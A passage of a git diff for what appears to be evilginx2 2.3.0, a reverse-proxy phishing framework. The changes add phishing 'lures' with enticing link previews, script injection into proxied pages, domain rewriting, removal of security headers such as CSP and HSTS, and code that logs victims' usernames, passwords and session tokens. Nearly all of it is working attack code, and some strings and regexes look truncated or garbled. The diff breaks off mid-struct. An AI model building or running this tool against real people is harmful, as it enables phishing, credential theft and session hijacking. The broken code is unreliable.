diff --git a/CHANGELOG b/CHANGELOG
new file mode 100644
index 000000000..ff8cb144c
--- /dev/null
+++ b/CHANGELOG
@@ -0,0 +1,21 @@
+2.3.0
+- Proxy can now create most of required `sub_filters` on its own, making it much easier to create new phishlets.
+- Added lures, with which you can prepare custom phishing URLs with each having its own set of unique options (`help lures` for more info).
+- Added OpenGraph settings for lures, allowing to create enticing content for link previews.
+- Added ability to inject custom Javascript into proxied pages.
+- Injected Javascript can be customized with values of custom parameters, specified in lure options.
+- Deprecated `landing_path` and replaced it with `login` section, which contains the domain and path for website's login page.
+
+2.2.1
+- Fixed: `type` with value `json` was not correctly activated when set under `credentials`.
+
+2.2.0
+- Now when any of `auth_urls` is triggered, the redirection will take place AFTER response cookies for that request are captured.
+- Regular expression groups working with `sub_filters`.
+- Phishlets are now listed in a table.
+- Restructured phishlet YAML config file to be easier to understand (phishlets from previous versions need to be updated to new format).
+- Phishlet fields are now selectively lowercased and validated upon loading to prevent surprises.
+- All search fields in the phishlet are now regular expressions by default (remember about proper escaping!).
+- Added option to capture custom POST arguments additionally to credentials. Check `custom` field under `credentials`.
+- Added feature to inject custom POST arguments to requests. Useful when forcing users to tick that "Remember me" checkbox.
+- Removed 'name' variable from phishlets. Phishlet name is now determined solely based on the filename.
\ No newline at end of file
diff --git a/core/banner.go b/core/banner.go
index bdeaca046..6ffeb49aa 100644
--- a/core/banner.go
+++ b/core/banner.go
@@ -8,7 +8,7 @@ import (
)
const (
- VERSION = "2.2.2"
+ VERSION = "2.3.0"
)
func putAsciiArt(s string) {
diff --git a/core/config.go b/core/config.go
index 392e969ff..a0ebc15e6 100644
--- a/core/config.go
+++ b/core/config.go
@@ -11,6 +11,18 @@ import (
"github.com/spf13/viper"
)
+type Lure struct {
+ Path string `mapstructure:"path" yaml:"path"`
+ RedirectUrl string `mapstructure:"redirect_url" yaml:"redirect_url"`
+ Phishlet string `mapstructure:"phishlet" yaml:"phishlet"`
+ Info string `mapstructure:"info" yaml:"info"`
+ OgTitle string `mapstructure:"og_title" yaml:"og_title"`
+ OgDescription string `mapstructure:"og_desc" yaml:"og_desc"`
+ OgImageUrl string `mapstructure:"og_image" yaml:"og_image"`
+ OgUrl string `mapstructure:"og_url" yaml:"og_url"`
+ Params map[string]string `mapstructure:"params" yaml:"params"`
+}
+
type Config struct {
siteDomains map[string]string
baseDomain string
@@ -24,6 +36,7 @@ type Config struct {
verificationParam string
verificationToken string
redirectUrl string
+ lures []*Lure
cfg *viper.Viper
}
@@ -37,6 +50,7 @@ const (
CFG_VERIFICATION_PARAM = "verification_key"
CFG_VERIFICATION_TOKEN = "verification_token"
CFG_REDIRECT_URL = "redirect_url"
+ CFG_LURES = "lures"
)
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
@@ -48,6 +62,7 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
sitesHidden: make(map[string]bool),
phishlets: make(map[string]*Phishlet),
phishletNames: []string{},
+ lures: []*Lure{},
}
c.cfg = viper.New()
@@ -109,6 +124,8 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
if c.redirectUrl == "" {
c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
}
+ c.lures = []*Lure{}
+ c.cfg.UnmarshalKey(CFG_LURES, &c.lures)
return c, nil
}
@@ -308,6 +325,71 @@ func (c *Config) AddPhishlet(site string, pl *Phishlet) {
c.phishlets[site] = pl
}
+func (c *Config) AddLure(site string, l *Lure) {
+ c.lures = append(c.lures, l)
+ c.cfg.Set(CFG_LURES, c.lures)
+ c.cfg.WriteConfig()
+}
+
+func (c *Config) SetLure(index int, l *Lure) error {
+ if index >= 0 && index < len(c.lures) {
+ c.lures[index] = l
+ } else {
+ return fmt.Errorf("index out of bounds: %d", index)
+ }
+ c.cfg.Set(CFG_LURES, c.lures)
+ c.cfg.WriteConfig()
+ return nil
+}
+
+func (c *Config) DeleteLure(index int) error {
+ if index >= 0 && index < len(c.lures) {
+ c.lures = append(c.lures[:index], c.lures[index+1:]...)
+ } else {
+ return fmt.Errorf("index out of bounds: %d", index)
+ }
+ c.cfg.Set(CFG_LURES, c.lures)
+ c.cfg.WriteConfig()
+ return nil
+}
+
+func (c *Config) DeleteLures(index []int) []int {
+ tlures := []*Lure{}
+ di := []int{}
+ for n, l := range c.lures {
+ if !intExists(n, index) {
+ tlures = append(tlures, l)
+ } else {
+ di = append(di, n)
+ }
+ }
+ if len(di) > 0 {
+ c.lures = tlures
+ c.cfg.Set(CFG_LURES, c.lures)
+ c.cfg.WriteConfig()
+ }
+ return di
+}
+
+func (c *Config) GetLure(index int) (*Lure, error) {
+ if index >= 0 && index < len(c.lures) {
+ return c.lures[index], nil
+ } else {
+ return nil, fmt.Errorf("index out of bounds: %d", index)
+ }
+}
+
+func (c *Config) GetLureByPath(site string, path string) (*Lure, error) {
+ for _, l := range c.lures {
+ if l.Phishlet == site {
+ if l.Path == path {
+ return l, nil
+ }
+ }
+ }
+ return nil, fmt.Errorf("lure for path '%s' not found", path)
+}
+
func (c *Config) GetPhishlet(site string) (*Phishlet, error) {
pl, ok := c.phishlets[site]
if !ok {
diff --git a/core/http_proxy.go b/core/http_proxy.go
index 0638613a9..b03722674 100644
--- a/core/http_proxy.go
+++ b/core/http_proxy.go
@@ -18,6 +18,7 @@ import (
"net/http"
"net/url"
"regexp"
+ "sort"
"strconv"
"strings"
"time"
@@ -30,26 +31,36 @@ import (
"github.com/kgretzky/evilginx2/log"
)
+const (
+ CONVERT_TO_ORIGINAL_URLS = 0
+ CONVERT_TO_PHISHING_URLS = 1
+)
+
const (
httpReadTimeout = 15 * time.Second
httpWriteTimeout = 15 * time.Second
+
+ // borrowed from Modlishka project (https://github.com/drk1wi/Modlishka)
+ MATCH_URL_REGEXP = `\b(http[s]?:\/\/|\\\\|http[s]:\\x2F\\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`
+ MATCH_URL_REGEXP_WITHOUT_SCHEME = `\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`
)
type HttpProxy struct {
- Server *http.Server
- Proxy *goproxy.ProxyHttpServer
- crt_db *CertDb
- cfg *Config
- db *database.Database
- sniListener net.Listener
- isRunning bool
- sessions map[string]*Session
- sids map[string]int
- cookieName string
- last_sid int
- developer bool
- ip_whitelist map[string]int64
- ip_sids map[string]string
+ Server *http.Server
+ Proxy *goproxy.ProxyHttpServer
+ crt_db *CertDb
+ cfg *Config
+ db *database.Database
+ sniListener net.Listener
+ isRunning bool
+ sessions map[string]*Session
+ sids map[string]int
+ cookieName string
+ last_sid int
+ developer bool
+ ip_whitelist map[string]int64
+ ip_sids map[string]string
+ auto_filter_mimes []string
}
type ProxySession struct {
@@ -61,16 +72,17 @@ type ProxySession struct {
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*HttpProxy, error) {
p := &HttpProxy{
- Proxy: goproxy.NewProxyHttpServer(),
- Server: nil,
- crt_db: crt_db,
- cfg: cfg,
- db: db,
- isRunning: false,
- last_sid: 0,
- developer: developer,
- ip_whitelist: make(map[string]int64),
- ip_sids: make(map[string]string),
+ Proxy: goproxy.NewProxyHttpServer(),
+ Server: nil,
+ crt_db: crt_db,
+ cfg: cfg,
+ db: db,
+ isRunning: false,
+ last_sid: 0,
+ developer: developer,
+ ip_whitelist: make(map[string]int64),
+ ip_sids: make(map[string]string),
+ auto_filter_mimes: []string{"text/html", "application/json", "application/javascript", "text/javascript", "application/x-javascript"},
}
p.Server = &http.Server{
@@ -106,8 +118,10 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
hiblue := color.New(color.FgHiBlue)
req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
+ req_path := req.URL.Path
if req.URL.RawQuery != "" {
req_url += "?" + req.URL.RawQuery
+ req_path += "?" + req.URL.RawQuery
}
//log.Debug("http: %s", req_url)
@@ -130,9 +144,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
sc, err := req.Cookie(p.cookieName)
if err != nil && !p.isWhitelistedIP(remote_addr) {
if !p.cfg.IsSiteHidden(pl_name) {
- uv := req.URL.Query()
- vv := uv.Get(p.cfg.verificationParam)
- if vv == p.cfg.verificationToken {
+ var vv string
+ var uv url.Values
+ l, err := p.cfg.GetLureByPath(pl_name, req_path)
+ if err == nil {
+ log.Debug("triggered lure for path '%s'", req_path)
+ } else {
+ uv = req.URL.Query()
+ vv = uv.Get(p.cfg.verificationParam)
+ }
+ if l != nil || vv == p.cfg.verificationToken {
session, err := NewSession(pl.Name)
if err == nil {
sid := p.last_sid
@@ -147,12 +168,18 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
log.Error("database: %v", err)
}
- rv := uv.Get(p.cfg.redirectParam)
- if rv != "" {
- url, err := base64.URLEncoding.DecodeString(rv)
- if err == nil {
- session.RedirectURL = string(url)
- log.Debug("redirect URL: %s", url)
+ if l != nil {
+ session.RedirectURL = l.RedirectUrl
+ session.PhishLure = l
+ log.Debug("redirect URL (lure): %s", l.RedirectUrl)
+ } else {
+ rv := uv.Get(p.cfg.redirectParam)
+ if rv != "" {
+ url, err := base64.URLEncoding.DecodeString(rv)
+ if err == nil {
+ session.RedirectURL = string(url)
+ log.Debug("redirect URL (get): %s", url)
+ }
}
}
@@ -174,6 +201,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
ps.Index, ok = p.sids[sc.Value]
if ok {
ps.SessionId = sc.Value
+ p.whitelistIP(remote_addr, ps.SessionId)
}
} else {
ps.SessionId, ok = p.getSessionIdByIP(remote_addr)
@@ -182,7 +210,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
if ok {
- p.whitelistIP(remote_addr, ps.SessionId)
req_ok = true
} else {
log.Warning("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
@@ -190,6 +217,20 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
+ // redirect to login page if triggered lure path
+ if pl != nil {
+ _, err := p.cfg.GetLureByPath(pl_name, req_path)
+ if err == nil {
+ // redirect from lure path to login url
+ rurl := pl.GetLoginUrl()
+ resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
+ if resp != nil {
+ resp.Header.Add("Location", rurl)
+ return req, resp
+ }
+ }
+ }
+
// redirect for unauthorized requests
if ps.SessionId == "" && p.handleSession(req.Host) {
if !req_ok {
@@ -206,6 +247,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
// replace "Host" header
e_host := req.Host
+ orig_host := strings.ToLower(req.Host)
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
req.Host = r_host
}
@@ -232,6 +274,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
+ // patch GET query params with original domains
+ if pl != nil {
+ qs := req.URL.Query()
+ if len(qs) > 0 {
+ for gp := range qs {
+ for i, v := range qs[gp] {
+ qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
+ }
+ }
+ req.URL.RawQuery = qs.Encode()
+ }
+ }
+
// check for creds in request body
if pl != nil && ps.SessionId != "" {
body, err := ioutil.ReadAll(req.Body)
@@ -241,12 +296,15 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
contentType := req.Header.Get("Content-type")
if contentType == "application/json" {
- json, _ := ioutil.ReadAll(req.Body)
+ // patch phishing URLs in JSON body with original domains
+ body = p.patchUrls(pl, body, CONVERT_TO_ORIGINAL_URLS)
+ req.ContentLength = int64(len(body))
+
log.Debug("POST: %s", req.URL.Path)
- log.Debug("POST body = %s", json)
+ log.Debug("POST body = %s", body)
if pl.username.tp == "json" {
- um := pl.username.search.FindStringSubmatch(string(json))
+ um := pl.username.search.FindStringSubmatch(string(body))
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
@@ -257,7 +315,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
if pl.password.tp == "json" {
- pm := pl.password.search.FindStringSubmatch(string(json))
+ pm := pl.password.search.FindStringSubmatch(string(body))
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
@@ -269,7 +327,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
for _, cp := range pl.custom {
if cp.tp == "json" {
- cm := cp.search.FindStringSubmatch(string(json))
+ cm := cp.search.FindStringSubmatch(string(body))
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
@@ -285,6 +343,13 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if req.ParseForm() == nil {
log.Debug("POST: %s", req.URL.Path)
for k, v := range req.PostForm {
+ // patch phishing URLs in POST params with original domains
+ for i, vv := range v {
+ req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
+ }
+ body = []byte(req.PostForm.Encode())
+ req.ContentLength = int64(len(body))
+
log.Debug("POST %s = %s", k, v[0])
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
@@ -371,8 +436,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if ps.SessionId != "" && origin == "" {
s, ok := p.sessions[ps.SessionId]
if ok {
- if s.IsDone && s.RedirectURL != "" {
- log.Important("[%d] redirecting to URL: %s", ps.Index, s.RedirectURL)
+ if s.IsDone && s.RedirectURL != "" && p.handleSession(orig_host) && s.RedirectCount == 0 {
+ s.RedirectCount += 1
+ log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount)
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", s.RedirectURL)
@@ -424,8 +490,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
allow_origin := resp.Header.Get("Access-Control-Allow-Origin")
if allow_origin != "" {
resp.Header.Set("Access-Control-Allow-Origin", "*")
+ resp.Header.Set("Access-Control-Allow-Credentials", "true")
+ }
+ var rm_headers = []string{
+ "Content-Security-Policy",
+ "Content-Security-Policy-Report-Only",
+ "Strict-Transport-Security",
+ "X-XSS-Protection",
+ "X-Content-Type-Options",
+ "X-Frame-Options",
+ }
+ for _, hdr := range rm_headers {
+ resp.Header.Del(hdr)
}
- resp.Header.Del("Content-Security-Policy")
redirect_set := false
if s, ok := p.sessions[ps.SessionId]; ok {
@@ -434,6 +511,8 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
+ req_hostname := strings.ToLower(resp.Request.Host)
+
// if "Location" header is present, make sure to redirect to the phishing domain
r_url, err := resp.Location()
if err == nil {
@@ -444,7 +523,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
// fix cookies
- pl := p.getPhishletByOrigHost(resp.Request.Host)
+ pl := p.getPhishletByOrigHost(req_hostname)
var auth_tokens map[string][]*AuthToken
if pl != nil {
auth_tokens = pl.authTokens
@@ -457,7 +536,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if pl != nil && ps.SessionId != "" {
c_domain := ck.Domain
if c_domain == "" {
- c_domain = resp.Request.Host
+ c_domain = req_hostname
+ } else {
+ // always prepend the domain with '.' if Domain cookie is specified - this will indicate that this cookie will be also sent to all sub-domains
+ if c_domain[0] != '.' {
+ c_domain = "." + c_domain
+ }
}
log.Debug("%s: %s = %s", c_domain, ck.Name, ck.Value)
if pl.isAuthToken(c_domain, ck.Name) {
@@ -497,47 +581,110 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
// modify received body
- mime := strings.Split(resp.Header.Get("Content-type"), ";")[0]
- for site, pl := range p.cfg.phishlets {
- if p.cfg.IsSiteEnabled(site) {
- sfs, ok := pl.subfilters[resp.Request.Host]
- if ok {
- for _, sf := range sfs {
- if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) {
- re_s := sf.regexp
- replace_s := sf.replace
- phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain))
- phish_sub, _ := p.getPhishSub(phish_hostname)
-
- re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
- re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
- re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
- re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
- re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
- re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
- replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
- replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
- replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
- replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1)
- phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
- if ok {
- replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1)
- replace_s = strings.Replace(replace_s, "{domain_regexp}", regexp.QuoteMeta(phishDomain), -1)
- }
+ body, err := ioutil.ReadAll(resp.Body)
+
+ if err == nil {
+ mime := strings.Split(resp.Header.Get("Content-type"), ";")[0]
+ for site, pl := range p.cfg.phishlets {
+ if p.cfg.IsSiteEnabled(site) {
+ // handle sub_filters
+ sfs, ok := pl.subfilters[req_hostname]
+ if ok {
+ for _, sf := range sfs {
+ if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) {
+ re_s := sf.regexp
+ replace_s := sf.replace
+ phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain))
+ phish_sub, _ := p.getPhishSub(phish_hostname)
+
+ re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
+ re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
+ re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
+ re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
+ re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
+ re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
+ replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
+ replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
+ replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
+ replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1)
+ phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
+ if ok {
+ replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1)
+ replace_s = strings.Replace(replace_s, "{domain_regexp}", regexp.QuoteMeta(phishDomain), -1)
+ }
- body, err := ioutil.ReadAll(resp.Body)
- if err == nil {
if re, err := regexp.Compile(re_s); err == nil {
- body := re.ReplaceAllString(string(body), replace_s)
- resp.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
+ body = []byte(re.ReplaceAllString(string(body), replace_s))
} else {
log.Error("regexp failed to compile: `%s`", sf.regexp)
}
}
}
}
+
+ // handle auto filters (if enabled)
+ if stringExists(mime, p.auto_filter_mimes) {
+ for _, ph := range pl.proxyHosts {
+ if req_hostname == combineHost(ph.orig_subdomain, ph.domain) {
+ if ph.auto_filter {
+ body = p.patchUrls(pl, body, CONVERT_TO_PHISHING_URLS)
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if stringExists(mime, []string{"text/html"}) {
+
+ if pl != nil && ps.SessionId != "" {
+ s, ok := p.sessions[ps.SessionId]
+ if ok {
+ if s.PhishLure != nil {
+ // inject opengraph headers
+ l := s.PhishLure
+ if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
+ head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
+ var og_inject string
+ og_format := "\n"
+ if l.OgTitle != "" {
+ og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
+ }
+ if l.OgDescription != "" {
+ og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
+ }
+ if l.OgImageUrl != "" {
+ og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
+ }
+ if l.OgUrl != "" {
+ og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
+ }
+
+ body = []byte(head_re.ReplaceAllString(string(body), "
\n"+og_inject))
+ }
+ }
+
+ var js_params *map[string]string = nil
+ if s.PhishLure != nil {
+ js_params = &s.PhishLure.Params
+ }
+ script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
+ if err == nil {
+ log.Debug("js_inject: matched %s%s - injecting script", req_hostname, resp.Request.URL.Path)
+ js_nonce_re := regexp.MustCompile(`(?i))`)
+ body = []byte(re.ReplaceAllString(string(body), "${1}"))
+ }
+ }
}
}
+
+ resp.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
}
if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
@@ -552,8 +699,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if err == nil {
log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, resp.Request.URL.Path)
}
- if s.IsDone && s.RedirectURL != "" {
- log.Important("[%d] redirecting to URL: %s", ps.Index, s.RedirectURL)
+ if s.IsDone && s.RedirectURL != "" && p.handleSession(req_hostname) && s.RedirectCount == 0 {
+ s.RedirectCount += 1
+ log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount)
resp := goproxy.NewResponse(resp.Request, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", s.RedirectURL)
@@ -577,6 +725,54 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
return p, nil
}
+func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
+ re_url := regexp.MustCompile(MATCH_URL_REGEXP)
+ re_ns_url := regexp.MustCompile(MATCH_URL_REGEXP_WITHOUT_SCHEME)
+
+ if phishDomain, ok := p.cfg.GetSiteDomain(pl.Name); ok {
+ var sub_map map[string]string = make(map[string]string)
+ var hosts []string
+ for _, ph := range pl.proxyHosts {
+ var h string
+ if c_type == CONVERT_TO_ORIGINAL_URLS {
+ h = combineHost(ph.phish_subdomain, phishDomain)
+ sub_map[h] = combineHost(ph.orig_subdomain, ph.domain)
+ } else {
+ h = combineHost(ph.orig_subdomain, ph.domain)
+ sub_map[h] = combineHost(ph.phish_subdomain, phishDomain)
+ }
+ hosts = append(hosts, h)
+ }
+ // make sure that we start replacing strings from longest to shortest
+ sort.Slice(hosts, func(i, j int) bool {
+ return len(hosts[i]) > len(hosts[j])
+ })
+
+ body = []byte(re_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
+ u, err := url.Parse(s_url)
+ if err == nil {
+ for _, h := range hosts {
+ if strings.ToLower(u.Host) == h {
+ s_url = strings.Replace(s_url, u.Host, sub_map[h], 1)
+ break
+ }
+ }
+ }
+ return s_url
+ }))
+ body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
+ for _, h := range hosts {
+ if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) {
+ s_url = strings.Replace(s_url, h, sub_map[h], 1)
+ break
+ }
+ }
+ return s_url
+ }))
+ }
+ return body
+}
+
func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
parts := strings.SplitN(host, ":", 2)
@@ -830,7 +1026,7 @@ func (p *HttpProxy) handleSession(hostname string) bool {
}
for _, ph := range pl.proxyHosts {
if hostname == combineHost(ph.phish_subdomain, phishDomain) {
- if ph.handle_session {
+ if ph.handle_session || ph.is_landing {
return true
}
return false
@@ -856,7 +1052,7 @@ func (p *HttpProxy) deleteRequestCookie(name string, req *http.Request) {
func (p *HttpProxy) whitelistIP(ip_addr string, sid string) {
log.Debug("whitelistIP: %s %s", ip_addr, sid)
- p.ip_whitelist[ip_addr] = time.Now().Add(5 * time.Second).Unix()
+ p.ip_whitelist[ip_addr] = time.Now().Add(15 * time.Second).Unix()
p.ip_sids[ip_addr] = sid
}
diff --git a/core/phishlet.go b/core/phishlet.go
index 4e8a46fd3..dec993e0d 100644
--- a/core/phishlet.go
+++ b/core/phishlet.go
@@ -17,6 +17,7 @@ type ProxyHost struct {
domain string
handle_session bool
is_landing bool
+ auto_filter bool
}
type SubFilter struct {
@@ -66,6 +67,18 @@ type ForcePost struct {
tp string `mapstructure:"type"`
}
+type LoginUrl struct {
+ domain string `mapstructure:"domain"`
+ path string `mapstructure:"path"`
+}
+
+type JsInject struct {
+ trigger_domains []string `mapstructure:"trigger_domains"`
+ trigger_paths []*regexp.Regexp `mapstructure:"trigger_paths"`
+ trigger_params []string `mapstructure:"trigger_params"`
+ script string `mapstructure:"script"`
+}
+
type Phishlet struct {
Site string
Name string
@@ -83,14 +96,17 @@ type Phishlet struct {
cfg *Config
custom []PostField
forcePost []ForcePost
+ login LoginUrl
+ js_inject []JsInject
}
type ConfigProxyHost struct {
- PhishSub *string `mapstructure:"phish_sub"`
- OrigSub *string `mapstructure:"orig_sub"`
- Domain *string `mapstructure:"domain"`
- Session bool `mapstructure:"session"`
